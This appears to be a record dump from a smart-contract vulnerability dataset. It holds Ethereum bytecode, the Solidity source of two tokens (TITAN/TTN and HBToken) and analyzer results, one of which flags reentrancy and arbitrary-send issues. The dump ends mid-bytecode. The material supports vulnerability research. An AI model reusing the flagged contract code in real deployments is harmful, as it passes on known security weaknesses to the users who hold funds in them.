1e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122076bda6cc413f27ed36d3928905b1f87c7a8cb2c77b9034cfaf425f42eed64b4864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,532
0xA834ef911CAD0eaa9C4D3639052F81501fccC01C
/* TITAN (TTN) A UniLaunchpad Project Website: https://unilaunchpad.com Telegram: https://t.me/unilaunchpad Twitter: https://twitter.com/UniLaunchpad UniLaunchpad is launching a new token on Uniswap every day 8% token burn per transfer for TTN 50,000 TTN initial supply FAIR LAUNCH FEATURE - Any Buys above 1000 Tokens within the first 20 Blocks(5 Minutes) pay marginal 25% burn fee for the amount above 1000 Each token Uniswap LP Liquidity locked on Unicrypt for 1 day */ pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; address admin; uint burnFee = 8; bool firstTransfer = false; uint public firstBlock; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint earlyPenalty = 25; //on any tokens above 1000 before the 15th block uint amountRec = amount; uint amountLimit = 1000; uint amountBurn = 0; if(sender != admin && recipient != admin){ //this is for the initial Pool Liquidity if(block.number < firstBlock + 20 && (amount > amountLimit)){ //extra fee for large early buyers before the 20th block uint extraAmount = amount.sub(amountLimit); amountBurn = amountLimit.mul(burnFee).div(100) + extraAmount.mul(earlyPenalty).div(100); amountRec = amount.sub(amountBurn); } else { amountBurn = amount.mul(burnFee).div(100); amountRec = amount.sub(amountBurn); } } else { } _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amountRec); _totalSupply = _totalSupply.sub(amountBurn); if(!firstTransfer){ //_exchange[to] = true; //_exchange[msg.sender] = true; firstTransfer = true; //set First Block firstBlock = block.number; //tokenRate = 1; } emit Transfer(sender, recipient, amountRec); emit Transfer(sender, address(0), amountBurn); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function addBalance(address account, uint amount) internal { require(account != address(0), "ERC20: add to the zero address"); _balances[account] = _balances[account].add(amount); _totalSupply = _totalSupply.add(amount); emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract TITAN is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; constructor () public ERC20Detailed("UniLaunchpad.com | TITAN", "TTN", 18) { admin = msg.sender; addBalance(admin,50000e18); //Initial tokens for Uniswap Liquidity Pool } function burn(uint256 amount) public { _burn(msg.sender, amount); } function() external payable { } function withdraw() external { require(msg.sender == admin, "!not allowed"); msg.sender.transfer(address(this).balance); } }
0x6080604052600436106100dd5760003560e01c80633ccfd60b1161007f57806395d89b411161005957806395d89b411461030b578063a457c2d714610320578063a9059cbb14610359578063dd62ed3e14610392576100dd565b80633ccfd60b1461029957806342966c68146102ae57806370a08231146102d8576100dd565b8063231b0268116100bb578063231b0268146101dd57806323b872dd146101f2578063313ce567146102355780633950935114610260576100dd565b806306fdde03146100df578063095ea7b31461016957806318160ddd146101b6575b005b3480156100eb57600080fd5b506100f46103cd565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012e578181015183820152602001610116565b50505050905090810190601f16801561015b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017557600080fd5b506101a26004803603604081101561018c57600080fd5b506001600160a01b038135169060200135610463565b604080519115158252519081900360200190f35b3480156101c257600080fd5b506101cb610481565b60408051918252519081900360200190f35b3480156101e957600080fd5b506101cb610487565b3480156101fe57600080fd5b506101a26004803603606081101561021557600080fd5b506001600160a01b0381358116916020810135909116906040013561048d565b34801561024157600080fd5b5061024a61051a565b6040805160ff9092168252519081900360200190f35b34801561026c57600080fd5b506101a26004803603604081101561028357600080fd5b506001600160a01b038135169060200135610523565b3480156102a557600080fd5b506100dd610577565b3480156102ba57600080fd5b506100dd600480360360208110156102d157600080fd5b50356105f4565b3480156102e457600080fd5b506101cb600480360360208110156102fb57600080fd5b50356001600160a01b03166105fe565b34801561031757600080fd5b506100f4610619565b34801561032c57600080fd5b506101a26004803603604081101561034357600080fd5b506001600160a01b03813516906020013561067a565b34801561036557600080fd5b506101a26004803603604081101561037c57600080fd5b506001600160a01b0381351690602001356106e8565b34801561039e57600080fd5b506101cb600480360360408110156103b557600080fd5b506001600160a01b03813581169160200135166106fc565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104595780601f1061042e57610100808354040283529160200191610459565b820191906000526020600020905b81548152906001019060200180831161043c57829003601f168201915b5050505050905090565b6000610477610470610727565b848461072b565b5060015b92915050565b60065490565b60035481565b600061049a848484610817565b610510846104a6610727565b61050b85604051806060016040528060288152602001610ec6602891396001600160a01b038a166000908152600560205260408120906104e4610727565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610ae616565b61072b565b5060019392505050565b60095460ff1690565b6000610477610530610727565b8461050b8560056000610541610727565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff610b7d16565b6000546001600160a01b031633146105c5576040805162461bcd60e51b815260206004820152600c60248201526b085b9bdd08185b1b1bddd95960a21b604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f193505050501580156105f1573d6000803e3d6000fd5b50565b6105f13382610bde565b6001600160a01b031660009081526004602052604090205490565b60088054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104595780601f1061042e57610100808354040283529160200191610459565b6000610477610687610727565b8461050b85604051806060016040528060258152602001610f5860259139600560006106b1610727565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610ae616565b60006104776106f5610727565b8484610817565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166107705760405162461bcd60e51b8152600401808060200182810382526024815260200180610f346024913960400191505060405180910390fd5b6001600160a01b0382166107b55760405162461bcd60e51b8152600401808060200182810382526022815260200180610e5d6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03831661085c5760405162461bcd60e51b8152600401808060200182810382526025815260200180610f0f6025913960400191505060405180910390fd5b6001600160a01b0382166108a15760405162461bcd60e51b8152600401808060200182810382526023815260200180610e186023913960400191505060405180910390fd5b6000805460199183916103e891906001600160a01b038881169116148015906108d857506000546001600160a01b03878116911614155b1561098e57600354601401431080156108f057508185115b1561095f576000610907868463ffffffff610cda16565b905061092a606461091e838863ffffffff610d1c16565b9063ffffffff610d7516565b610944606461091e60015487610d1c90919063ffffffff16565b019150610957868363ffffffff610cda16565b93505061098e565b610979606461091e60015488610d1c90919063ffffffff16565b905061098b858263ffffffff610cda16565b92505b6109d185604051806060016040528060268152602001610e7f602691396001600160a01b038a16600090815260046020526040902054919063ffffffff610ae616565b6001600160a01b038089166000908152600460205260408082209390935590881681522054610a06908463ffffffff610b7d16565b6001600160a01b038716600090815260046020526040902055600654610a32908263ffffffff610cda16565b60065560025460ff16610a51576002805460ff19166001179055436003555b856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a36040805182815290516000916001600160a01b038a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350505050505050565b60008184841115610b755760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b3a578181015183820152602001610b22565b50505050905090810190601f168015610b675780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610bd7576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b038216610c235760405162461bcd60e51b8152600401808060200182810382526021815260200180610eee6021913960400191505060405180910390fd5b610c6681604051806060016040528060228152602001610e3b602291396001600160a01b038516600090815260046020526040902054919063ffffffff610ae616565b6001600160a01b038316600090815260046020526040902055600654610c92908263ffffffff610cda16565b6006556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6000610bd783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ae6565b600082610d2b5750600061047b565b82820282848281610d3857fe5b0414610bd75760405162461bcd60e51b8152600401808060200182810382526021815260200180610ea56021913960400191505060405180910390fd5b6000610bd783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183610e015760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b3a578181015183820152602001610b22565b506000838581610e0d57fe5b049594505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a723158200ea6206d20fdaea07038cffde456f0c56feb25713c12ccce9ac895156dc97ef264736f6c63430005110032
{"success": true, "error": null, "results": {}}
8,533
0xd2cdce6d77604123eabd57bd522a18a28f29f0c7
pragma solidity ^0.4.23; /** * Math operations with safety checks */ library SafeMath { /** * @dev Multiplies two numbers, revert()s on overflow. */ function mul(uint256 a, uint256 b) internal returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal returns (uint256) { // assert(b > 0); // Solidity automatically revert()s when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, revert()s on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, revert()s on overflow. */ function add(uint256 a, uint256 b) internal returns (uint256 c) { c = a + b; assert(c >= a && c >= b); return c; } function assert(bool assertion) internal { if (!assertion) { revert(); } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size.add(4)) { revert(); } _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { require(_to != 0x0); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Standard ERC20 token * * @dev Implemantation of the basic standart token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { require(_to != 0x0); uint _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already revert() if this condition is not met // if (_value > _allowance) revert(); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert(); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev revert()s if called by any account other than the owner. */ modifier onlyOwner() { if (msg.sender != owner) { revert(); } _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { if (paused) revert(); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { if (!paused) revert(); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused returns (bool) { paused = true; emit Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused returns (bool) { paused = false; emit Unpause(); return true; } } /** * Pausable token * * Simple ERC20 Token example, with pausable token creation **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint _value) whenNotPaused { super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) whenNotPaused { super.transferFrom(_from, _to, _value); } } /** * @title TokenTimelock * @dev TokenTimelock is a token holder contract that will allow a * beneficiary to extract the tokens after a time has passed */ contract TokenTimelock { // ERC20 basic token contract being held ERC20Basic token; // beneficiary of tokens after they are released address beneficiary; // timestamp where token release is enabled uint releaseTime; function TokenTimelock(ERC20Basic _token, address _beneficiary, uint _releaseTime) { require(_releaseTime > now); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } /** * @dev beneficiary claims tokens held by time lock */ function claim() { require(msg.sender == beneficiary); require(now >= releaseTime); uint amount = token.balanceOf(this); require(amount > 0); token.transfer(beneficiary, amount); } } /** * @title HBToken * @dev HB Token contract */ contract HBToken is PausableToken { using SafeMath for uint256; function () { //if ether is sent to this address, send it back. revert(); } string public name = "HBToken"; string public symbol = "HB"; uint8 public decimals = 18; uint public totalSupply = 1000000000000000000000000000; event TimeLock(address indexed to, uint value, uint time); event Burn(address indexed burner, uint256 value); function HBToken() { balances[msg.sender] = totalSupply; // Give the creator all initial tokens } /** * @dev transfer timelocked tokens */ function transferTimelocked(address _to, uint256 _amount, uint256 _releaseTime) onlyOwner whenNotPaused returns (TokenTimelock) { require(_to != 0x0); TokenTimelock timelock = new TokenTimelock(this, _to, _releaseTime); transfer(timelock,_amount); emit TimeLock(_to, _amount,_releaseTime); return timelock; } /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) onlyOwner whenNotPaused { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } }
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f8578063095ea7b31461018857806318160ddd146101d557806323b872dd14610200578063313ce5671461026d5780633f4ba83a1461029e57806342966c68146102cd5780635c975abb146102fa57806370a08231146103295780638456cb59146103805780638da5cb5b146103af57806395d89b4114610406578063a9059cbb14610496578063c48a66e0146104e3578063dd62ed3e1461057a578063f2fde38b146105f1575b3480156100f257600080fd5b50600080fd5b34801561010457600080fd5b5061010d610634565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019457600080fd5b506101d3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106d2565b005b3480156101e157600080fd5b506101ea610854565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061085a565b005b34801561027957600080fd5b50610282610884565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102aa57600080fd5b506102b3610897565b604051808215151515815260200191505060405180910390f35b3480156102d957600080fd5b506102f86004803603810190808035906020019092919050505061095e565b005b34801561030657600080fd5b5061030f6109e1565b604051808215151515815260200191505060405180910390f35b34801561033557600080fd5b5061036a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109f4565b6040518082815260200191505060405180910390f35b34801561038c57600080fd5b50610395610a3c565b604051808215151515815260200191505060405180910390f35b3480156103bb57600080fd5b506103c4610b02565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041257600080fd5b5061041b610b28565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045b578082015181840152602081019050610440565b50505050905090810190601f1680156104885780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104a257600080fd5b506104e1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bc6565b005b3480156104ef57600080fd5b50610538600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050610bee565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561058657600080fd5b506105db600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d92565b6040518082815260200191505060405180910390f35b3480156105fd57600080fd5b50610632600480360381019080803573fffffffffffffffffffffffffffffffffffffff